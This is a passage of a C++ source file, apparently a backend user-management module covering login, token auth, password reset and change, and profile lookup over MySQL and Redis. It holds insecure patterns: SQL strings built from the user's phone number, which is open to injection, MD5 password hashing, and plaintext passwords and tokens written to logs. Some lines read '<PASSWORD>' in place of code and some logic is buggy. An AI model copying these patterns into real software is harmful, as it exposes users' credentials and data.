XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get pwd from db failed!";
return -8;
}
pwd = row_set[0][0];
forbid_at = row_set[0][1];
}
XCP_LOGGER_INFO(&g_logger, "get pwd ,redis_id:%s,phone:%s,user_id:%uul,pwd:%s,forbid_at:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), phone.c_str(), user_id, pwd.c_str(), forbid_at.c_str(), msg_tag.c_str());
if (!forbid_at.empty())
{
//帐号禁用
err_info = "this account was forbidden!";
return ERR_USER_LOGIN_FORBID;
}
unsigned long long timestamp = getTimestamp();
TokenInfo token_info;
token_info.user_id = user_id;
token_info.phone = phone;
token_info.token_type = TokenTypeLogin;
nRet = generate_token(pwd, token_info, token, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "generate token failed!, ret:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_TOKEN_GENERATE_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "generate token succ!token:%s,msg_tag:%s\n", token.c_str(), msg_tag.c_str());
//
//update last_login_time,更新最后登录时间失败时,不返回失败
char sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(sql, sizeof(sql), "update %s set F_last_login_time=%llu where F_uid=%llu", table_name.c_str(), timestamp, user_id);
unsigned long long last_insert_id = 0;
unsigned long long affected_rows = 0;
nRet = mysql_conn->execute_sql(sql, last_insert_id, affected_rows);
if (nRet != 0 || affected_rows != 1)
{
XCP_LOGGER_ERROR(&g_logger, "update last login time fail!sql:%s,ret:%d,msg_tag:%s\n", sql, nRet, msg_tag.c_str());
err_info = "success!";
return ERR_SUCCESS;
}
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
//更新Cache
/**
keys.clear();
values.clear();
keys.push_back("last_login_time");
std::stringstream ss_timestamp;
ss_timestamp
<< timestamp;
values.push_back(ss_timestamp.str());
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_INFO(&g_logger, "update cache failed!update last login timestamp,key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(),msg_tag.c_str());
}
err_info = "success";
XCP_LOGGER_INFO(&g_logger, "login code success!msg_tag:%s\n", msg_tag.c_str());
**/
return ERR_SUCCESS;
}
int User_Mgt::login_pwd(const std::string &phone, const std::string &pwd, unsigned long long &user_id, std::string &token, const std::string &msg_tag, std::string &err_info)
{
//1,查找用户的user_id
//2,去缓存中用户的密码
//3,去db中查找用户的密码
XCP_LOGGER_INFO(&g_logger, "login_pwd,phone:%s,pwd:%s,user_id:%llu,token:%s,msg_tag:%s\n", phone.c_str(), pwd.c_str(), user_id, token.c_str(), msg_tag.c_str());
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed,msg_tag:%s\n", msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
char select_sql[SQL_LEN] = { 0 };
snprintf(select_sql, sizeof(select_sql), "select F_uid from tbl_user_map where F_phone_num=\"%s\"", phone.c_str());
MySQL_Row_Set row_set;
int nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "login_pwd,query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "query db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "login_pwd,phone num not found!, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "phone not register!";
return ERR_USER_PHONE_NOT_REGISTE;
}
std::string ss_user_id = row_set[0][0];
if (ss_user_id.empty())
{
XCP_LOGGER_ERROR(&g_logger, "login_pwd,user_id is empty!msg_tag:%s\n", msg_tag.c_str());
err_info = "user_id is empty!";
return ERR_SYSTEM;
}
user_id = atoll(ss_user_id.c_str());
XCP_LOGGER_INFO(&g_logger, "login_pwd,query db success,user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
//查询redis
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << ss_user_id;
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("password");
keys.push_back("salt");
keys.push_back("forbid_at");
nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
std::string real_pwd;
std::string salt;
std::string forbid_at;
if (nRet == 0 && !values[0].empty())
{
real_pwd = values[0];
salt = values[1];
forbid_at = values[2];
}
else {
XCP_LOGGER_ERROR(&g_logger, "login_pwd,get pwd from cache fail!redis_id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_password,F_salt,F_forbid_at from %s where F_uid=%llu", table_name.c_str(), user_id);
XCP_LOGGER_INFO(&g_logger, "login_pwd,get pwd from db,sql:%s,msg_tag:%s\n", select_sql, msg_tag.c_str());
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "login_pwd,query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get pwd from db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "login_pwd,phone not register, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "user not register!";
return ERR_USER_PHONE_NOT_REGISTE;
}
real_pwd = row_set[0][0];
salt = row_set[0][1];
forbid_at = row_set[0][2];
}
std::string src = pwd + salt;
std::string calc_pwd = md5(src.c_str(), src.length());
XCP_LOGGER_INFO(&g_logger, "login_pwd,ret:%d,sql:%s,db_pwd:%s,calc_pwd:%s,salt:%s,forbid_at:%s,src:%s,msg_tag:%s\n", nRet, select_sql, real_pwd.c_str(), calc_pwd.c_str(), salt.c_str(), forbid_at.c_str(), src.c_str(), msg_tag.c_str());
if (real_pwd != calc_pwd)
{
err_info = "password not correct!";
XCP_LOGGER_ERROR(&g_logger, "password not correct!real_pwd:%s,pwd:%s,msg_tag:%s\n", real_pwd.c_str(), pwd.c_str(), msg_tag.c_str());
return ERR_LOGIN_PWD_NOT_CORRECT;
}
if (!forbid_at.empty())
{
//帐号禁用
err_info = "this account was forbidden!";
return ERR_USER_LOGIN_FORBID;
}
unsigned long long timestamp = getTimestamp();
TokenInfo token_info;
token_info.user_id = user_id;
token_info.phone = phone;
token_info.token_type = TokenTypeLogin;
token_info.create_time = timestamp;
token_info.expire_time = timestamp + TOKEN_TTL;
nRet = generate_token(calc_pwd, token_info, token, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "generate token failed!, ret:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_TOKEN_GENERATE_ERROR;
}
//update last_login_time,更新最后登录时间失败时,不返回失败
char sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(sql, sizeof(sql), "update %s set F_last_login_time=%llu where F_uid=%llu", table_name.c_str(), timestamp, user_id);
unsigned long long last_insert_id = 0;
unsigned long long affected_rows = 0;
nRet = mysql_conn->execute_sql(sql, last_insert_id, affected_rows);
if (nRet != 0 || affected_rows != 1)
{
XCP_LOGGER_ERROR(&g_logger, "update last login time fail!sql:%s,ret:%d,msg_tag:%s\n", sql, nRet, msg_tag.c_str());
err_info = "success!";
return ERR_SYSTEM;
}
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
/**
//更新Cache
keys.clear();
values.clear();
keys.push_back("last_login_time");
std::stringstream ss_timestamp;
ss_timestamp
<< timestamp;
values.push_back(ss_timestamp.str());
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "update cache failed!update last login timestamp,key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(),msg_tag.c_str());
}
**/
err_info = "success";
return ERR_SUCCESS;
}
int User_Mgt::auth(const unsigned long long user_id, const std::string &token, std::string &refresh_token, const std::string &msg_tag, std::string &err_info)
{
//根据user_id 获取到用户的密码
//通过密码来校验签名是否正确
XCP_LOGGER_INFO(&g_logger, "auth ,user_id:%llu,token:%s,msg_tag:%s\n", user_id, token.c_str(), token.c_str());
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_INFO(&g_logger, "get mysql conn failed,msg_tag:%s\n", msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
unsigned long long timestamp = getTimestamp();
MySQL_Guard guard(mysql_conn);
//查询redis
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("<PASSWORD>");
keys.push_back("phone_num");
keys.push_back("forbid_at");
int nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
std::string pwd;
std::string phone;
std::string forbid_at;
if (nRet == 0 && !values[0].empty() && values[1] != "")
{
pwd = values[0];
phone = values[1];
forbid_at = values[2];
}
else {
XCP_LOGGER_ERROR(&g_logger, "get pwd from cache fail!id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(),msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_password,F_phone_num from %s where F_uid=%llu", table_name.c_str(), user_id);
XCP_LOGGER_INFO(&g_logger, "auth,query_sql failed,sql:%s,msg_tag:%s\n", select_sql, msg_tag.c_str());
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get pwd from db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "phone not register, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "can not found record";
return ERR_SYSTEM;
}
pwd = row_set[0][0];
phone = row_set[0][1];
forbid_at = row_set[0][2];
}
TokenInfo token_info;
nRet = check_token(user_id, pwd, phone, token, token_info, err_info);
XCP_LOGGER_INFO(&g_logger, "auth ,token:%s,real_user_id::%llu,real_phone:%s,real_pwd:%s,real_create_time:%llu,expire_time:%u,from:%s,salt:%s,forbid_at:%s,msg_tag:%s\n",
token.c_str(), token_info.user_id, token_info.phone.c_str(), token_info.pwd.c_str(), token_info.create_time, token_info.expire_time, token_info.from.c_str(), token_info.salt.c_str(), forbid_at.c_str(), msg_tag.c_str());
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "auth,check token fail!nRet:%d,msg_tag:%s\n", nRet, msg_tag.c_str());
return nRet;
}
//检查帐号是否被禁用
if (!forbid_at.empty())
{
//帐号禁用
err_info = "this account was forbidden!";
return ERR_USER_LOGIN_FORBID;
}
//生成新的token
nRet = generate_token(pwd, token_info, refresh_token, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "auth ,generate new token fail!, ret:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_TOKEN_GENERATE_ERROR;
}
err_info = "success";
//todo:查询DB
//update last login time
//update last_login_time,更新最后登录时间失败时,不返回失败
char sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(sql, sizeof(sql), "update %s set F_last_login_time=%llu where F_uid=%llu", table_name.c_str(), timestamp, user_id);
unsigned long long last_insert_id = 0;
unsigned long long affected_rows = 0;
nRet = mysql_conn->execute_sql(sql, last_insert_id, affected_rows);
if (nRet != 0 || affected_rows != 1)
{
XCP_LOGGER_ERROR(&g_logger, "update last login time fail!sql:%s,ret:%d,msg_tag:%s\n", sql, nRet, msg_tag.c_str());
return ERR_SYSTEM;
}
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
//更新Cache
/**
keys.clear();
values.clear();
keys.push_back("last_login_time");
std::stringstream ss_timestamp;
ss_timestamp
<< timestamp;
values.push_back(ss_timestamp.str());
ss_redis_id.str("");
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
//不需要删除
XCP_LOGGER_ERROR(&g_logger, "update cache failed!update last login timestamp,key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(),msg_tag.c_str());
}
**/
return 0;
}
int User_Mgt::reset_pwd(const std::string &pwd, const std::string &secret, std::string &token, const std::string &msg_tag, std::string &err_info)
{
//1,检查该secret对应的phone
//2,检查user_id与phone的对应关系
//3,更新DB中的pwd
//4,更新cache,如果cache更新失败,则删除cache
//检查验证码是否存在
XCP_LOGGER_INFO(&g_logger, "reset_pwd,pwd:%s,secret:%s,msg_tag:%s\n", pwd.c_str(), secret.c_str(), msg_tag.c_str());
std::stringstream ssKey;
ssKey
<< UM_PHONE_SECRET << secret << "_" << PHONE_CODE_RESET_PWD;
std::string real_phone;
int nRet = PSGT_Redis_Mgt->get(ssKey.str().c_str(), real_phone, err_info);
if (nRet != 0)
{
err_info = "redis get failed!";
XCP_LOGGER_ERROR(&g_logger, "reset_pwd,get phone num fail,msg_tag:%s\n", msg_tag.c_str());
return ERR_REDIS_NET_ERROR;
}
if (real_phone.empty())
{
err_info = "didnot found the secret ticket of reset password!";
XCP_LOGGER_ERROR(&g_logger, "redis get failed!msg_tag:%s\n", msg_tag.c_str());
return ERR_SECRET_INVALID;
}
XCP_LOGGER_INFO(&g_logger, "check secret ok!phone:%s,msg_tag:%s\n", real_phone.c_str(), msg_tag.c_str());
//check the phone number wether was used before
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed.phone:%s,msg_tag:%s\n", real_phone.c_str(), msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
char select_sql[SQL_LEN] = { 0 };
snprintf(select_sql, sizeof(select_sql), "select F_uid from tbl_user_map where F_phone_num=\"%s\"", real_phone.c_str());
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "query_sql failed!";
return ERR_MYSQL_NET_ERROR;
}
//表示无数据
if (row_set.row_count() != 1 || row_set[0][0].empty())
{
XCP_LOGGER_ERROR(&g_logger, "user_id and phone not match,phone:%s,msg_tag:%s\n", real_phone.c_str(), msg_tag.c_str());
err_info = "secret error!";
return ERR_SECRET_INVALID;
}
unsigned long long user_id = atoll(row_set[0][0].c_str());
XCP_LOGGER_INFO(&g_logger, "check user_id and phone ok!user_id:%llu,phone:%s,sql:%s,msg_tag:%s\n", user_id, real_phone.c_str(), select_sql, msg_tag.c_str());
//获取用户之前的密码
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("password");
std::string before_pwd;
nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet == 0)
{
before_pwd = values[0];
}
else {
XCP_LOGGER_ERROR(&g_logger, "get before password from cache fail!id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_password from %s where F_uid=%llu", table_name.c_str(), user_id);
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get pwd from db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "user_id not exist, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "this user not exist!";
return ERR_SYSTEM;
}
before_pwd = row_set[0][0];
}
//更新DB
//生成盐值和密码
std::string salt = generate_rand_str(PWD_SALT_LEN);
std::string s_pwd = pwd + salt;
std::string db_pwd = md5(s_pwd.c_str(), s_pwd.length());
char sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(sql, sizeof(sql), "update %s set `F_password` = \"%s\" ,`F_salt` = \"%s\" where `F_uid`=%llu", table_name.c_str(), db_pwd.c_str(), salt.c_str(), user_id);
XCP_LOGGER_INFO(&g_logger, "reset_pwd_sql:%s,msg_tag:%s\n", sql, msg_tag.c_str());
unsigned long long last_update_id = 0;
unsigned long long affected_rows = 0;
nRet = mysql_conn->execute_sql(sql, last_update_id, affected_rows);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "execute_sql reset pwd fail!sql:%s,ret:%d,affected_rows:%d,last_update_id:%d,msg_tag:%s\n",
sql, nRet, affected_rows, last_update_id, msg_tag.c_str());
err_info = "db reset pwd failed!.";
return ERR_MYSQL_NET_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "update pwd of db is ok!user_id:%llu,%s,msg_tag:%s\n", user_id, real_phone.c_str(), msg_tag.c_str());
//更新cache
/**
keys.clear();
values.clear();
keys.push_back("password");
keys.push_back("salt");
values.push_back(db_pwd);
values.push_back(salt);
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "update cache failed!update pwd in cache,key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//更新cache失败后,需要cache数据
nRet = PSGT_Redis_Mgt->del(ss_redis_id.str().c_str(), err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "del cache failed!key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
}
}
**/
//生成token
TokenInfo token_info;
token_info.user_id = user_id;
token_info.phone = real_phone;
token_info.pwd = <PASSWORD>;
token_info.salt = salt;
token_info.token_type = TokenTypeUpdatePwd;
nRet = generate_token(before_pwd, token_info, token, err_info);
if (nRet != 0)
{
return nRet;
}
//更新缓存
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
err_info = "success";
return ERR_SUCCESS;
}
int User_Mgt::set_pwd(const unsigned long long user_id, const std::string &pwd_old, const std::string &pwd_new, std::string &account_token, std::string &auth_token, const std::string &msg_tag, std::string &err_info)
{
//1,读取cache中的密码,对比老的密码
XCP_LOGGER_INFO(&g_logger, "set_pwd,user_id:%llu,pwd_old:%s,pwd_new:%s,msg_tag:%s\n", user_id, pwd_old.c_str(), pwd_new.c_str(), msg_tag.c_str());
//check the phone number wether was used before
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed.msg_tag:%s\n", msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
//查找用户的老的Db_pwd
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("password");
keys.push_back("salt");
keys.push_back("phone_num");
std::string old_db_pwd;
std::string before_salt;
std::string phone;
int nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet == 0 && values[2] != "")
{
old_db_pwd = values[0];
before_salt = values[1];
phone = values[2];
}
else {
XCP_LOGGER_ERROR(&g_logger, "get before password from cache fail!id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_password,F_salt,F_phone_num from %s where F_uid=%llu", table_name.c_str(), user_id);
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get pwd from db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "user_id not exist, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "this user not exist!";
return ERR_SYSTEM;
}
old_db_pwd = row_set[0][0];
before_salt = row_set[0][1];
phone = row_set[0][2];
}
XCP_LOGGER_INFO(&g_logger, "before_pwd:%s,before_salt:%s,phone:%s,msg_tag:%s\n", old_db_pwd.c_str(), before_salt.c_str(), phone.c_str(), msg_tag.c_str());
std::string calc_pwd_src = pwd_old + before_salt;
std::string calc_before_pwd = md5(calc_pwd_src.c_str(), calc_pwd_src.size());
if (calc_before_pwd != old_db_pwd)
{
XCP_LOGGER_ERROR(&g_logger, "old password not correct,calc_pwd_src:%s,before_pwd:%s,msg_tag:%s\n", calc_pwd_src.c_str(), old_db_pwd.c_str(), msg_tag.c_str());
err_info = "old password not correct";
return ERR_PWD_OLD_NOT_CORRECT;
}
//更新DB
//生成盐值和密码
std::string salt = generate_rand_str(PWD_SALT_LEN);
std::string tmp_pwd_str = pwd_new + salt;
std::string new_db_pwd = md5(tmp_pwd_str.c_str(), tmp_pwd_str.length());
XCP_LOGGER_INFO(&g_logger, "salt:%s,new_db_pwd:%s,msg_tag:%s\n", salt.c_str(), new_db_pwd.c_str(), msg_tag.c_str());
//更新DB
char sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(sql, sizeof(sql), "update %s set `F_password` = \"%s\",`F_salt`=\"%s\" where `F_uid`=%llu", table_name.c_str(), new_db_pwd.c_str(), salt.c_str(), user_id);
XCP_LOGGER_INFO(&g_logger, "set_pwd_sql:%s,msg_tag:%s\n", sql, msg_tag.c_str());
unsigned long long last_update_id = 0;
unsigned long long affected_rows = 0;
nRet = mysql_conn->execute_sql(sql, last_update_id, affected_rows);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "execute_sql set pwd fail!sql:%s,ret:%d,affected_rows:%d,last_update_id:%d,msg_tag:%s\n",
sql, nRet, affected_rows, last_update_id, msg_tag.c_str());
err_info = "db set pwd failed!.";
return ERR_MYSQL_NET_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "update pwd success,msg_tag:%s\n", msg_tag.c_str());
/**
keys.clear();
values.clear();
keys.push_back("password");
keys.push_back("salt");
values.push_back(new_db_pwd);
values.push_back(salt);
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "update cache failed!update pwd in cache,key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//更新cache失败后,需要cache数据
nRet = PSGT_Redis_Mgt->del(ss_redis_id.str().c_str(), err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "del cache failed!key:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
}
}
**/
//生成token,用于帐号同步
TokenInfo token_info;
token_info.user_id = user_id;
token_info.phone = phone;
token_info.pwd = <PASSWORD>;
token_info.salt = <PASSWORD>;
token_info.token_type = TokenTypeUpdatePwd;
nRet = generate_token(old_db_pwd, token_info, account_token, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "generate account_token failed!, ret:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_TOKEN_GENERATE_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "generate account_token succ!account_token:%s,msg_tag:%s\n", account_token.c_str(), msg_tag.c_str());
//生成token,用于自动登录
token_info.token_type = TokenTypeLogin;
nRet = generate_token(new_db_pwd, token_info, auth_token, err_info);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "generate auth_token failed!, ret:%d,err_info:%s,msg_tag:%s\n", nRet, err_info.c_str(), msg_tag.c_str());
return ERR_TOKEN_GENERATE_ERROR;
}
XCP_LOGGER_INFO(&g_logger, "generate auth_token succ!auth_token:%s,msg_tag:%s\n", auth_token.c_str(), msg_tag.c_str());
//更新cache
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
err_info = "success";
return ERR_SUCCESS;
}
int User_Mgt::get_user_profile(const unsigned long long user_id, UserAttr &user_attr, const std::string &msg_tag, std::string &err_info)
{
//1,查询缓存
//2,如果查询失败,则从DB中拉取数据,并写入缓存
XCP_LOGGER_INFO(&g_logger, "get_user_profile,user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
std::stringstream ss_redis_id;
ss_redis_id
<< UM_REDIS_USER_PREFIX << user_id;
std::vector<std::string> keys;
std::vector<std::string> values;
keys.push_back("phone_num");
keys.push_back("nick");
keys.push_back("name");
keys.push_back("avatar");
keys.push_back("gender");
keys.push_back("birthday");
keys.push_back("last_login_time");
keys.push_back("last_family_id");
int nRet = PSGT_Redis_Mgt->hmget_arr(ss_redis_id.str().c_str(), keys, values, err_info);
if (nRet == 0)
{
user_attr.phone = values[0];
user_attr.nick = values[1];
user_attr.name = values[2];
user_attr.avatar = values[3];
user_attr.gender = atoi(values[4].c_str());
user_attr.birthday = values[5];
user_attr.last_login_time = atoll(values[6].c_str());
user_attr.last_family_id = atoll(values[7].c_str());
XCP_LOGGER_INFO(&g_logger, "get_user_profile,phone:%s,nick:%s,name:%s,avatar:%s,gender:%d,birthday:%s,last_login_time:%llu,last_family_id:%llu,msg_tag:%s\n",
user_attr.phone.c_str(), user_attr.nick.c_str(), user_attr.name.c_str(), user_attr.avatar.c_str(), user_attr.gender, user_attr.birthday.c_str(), user_attr.last_login_time, user_attr.last_family_id,
msg_tag.c_str());
}
else {
XCP_LOGGER_ERROR(&g_logger, "get_user_profile from cache fail!id:%s,msg_tag:%s\n", ss_redis_id.str().c_str(), msg_tag.c_str());
//从mysql 中获取数据
char select_sql[SQL_LEN] = { 0 };
std::string table_name = get_table_name(user_id, "tbl_user_info");
snprintf(select_sql, sizeof(select_sql), "select F_phone_num,F_nick,F_name,F_avatar,F_gender,F_birthday,F_last_login_time,F_last_family_id from %s where F_uid=%llu", table_name.c_str(), user_id);
mysql_conn_Ptr mysql_conn;
if (!g_mysql_mgt.get_conn(mysql_conn))
{
XCP_LOGGER_ERROR(&g_logger, "get mysql conn failed.user_id:%llu,msg_tag:%s\n", user_id, msg_tag.c_str());
err_info = "get mysql conn failed!";
return ERR_MYSQL_NET_ERROR;
}
MySQL_Guard guard(mysql_conn);
MySQL_Row_Set row_set;
nRet = mysql_conn->query_sql(select_sql, row_set);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "query_sql failed, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "get user profile from db failed!";
return ERR_MYSQL_NET_ERROR;
}
if (row_set.row_count() != 1)
{
XCP_LOGGER_ERROR(&g_logger, "user_id not exist, ret:%d,sql:%s,msg_tag:%s\n", nRet, select_sql, msg_tag.c_str());
err_info = "this user not exist!";
return ERR_USER_ID_NOT_EXIST;
}
std::string sgender = row_set[0][4];
user_attr.phone = row_set[0][0];
user_attr.nick = row_set[0][1];
user_attr.name = row_set[0][2];
user_attr.avatar = row_set[0][3];
user_attr.gender = atoi(sgender.c_str());
user_attr.birthday = row_set[0][5];
std::string last_login_time = row_set[0][6];
std::string last_family_id = row_set[0][7];
if (!last_login_time.empty())
{
user_attr.last_login_time = atoll(last_login_time.c_str());
}
else {
user_attr.last_login_time = 0;
}
if (!last_family_id.empty())
{
user_attr.last_family_id = atoll(last_family_id.c_str());
}
else {
user_attr.last_family_id = 0;
}
//更新缓存
nRet = refresh_user_cache(user_id, mysql_conn, msg_tag);
/**
//将数据写入缓存
values.clear();
values.push_back(user_attr.phone);
values.push_back(user_attr.nick);
values.push_back(user_attr.name);
values.push_back(user_attr.avatar);
values.push_back(sgender);
values.push_back(user_attr.birthday);
values.push_back(last_login_time);
values.push_back(last_family_id);
nRet = PSGT_Redis_Mgt->hmset_arr(ss_redis_id.str().c_str(), keys, values, err_info,USER_PROFILE_CACHE_TTL);
if (nRet != 0)
{
XCP_LOGGER_ERROR(&g_logger, "set cache fail!id:%s,nRet=%d,msg_tag:%s\n", ss_redis_id.str().c_str(),nRet, msg_tag.c_str());
}
**/
}
err_info = "success";
return ERR_SUCCESS;
}
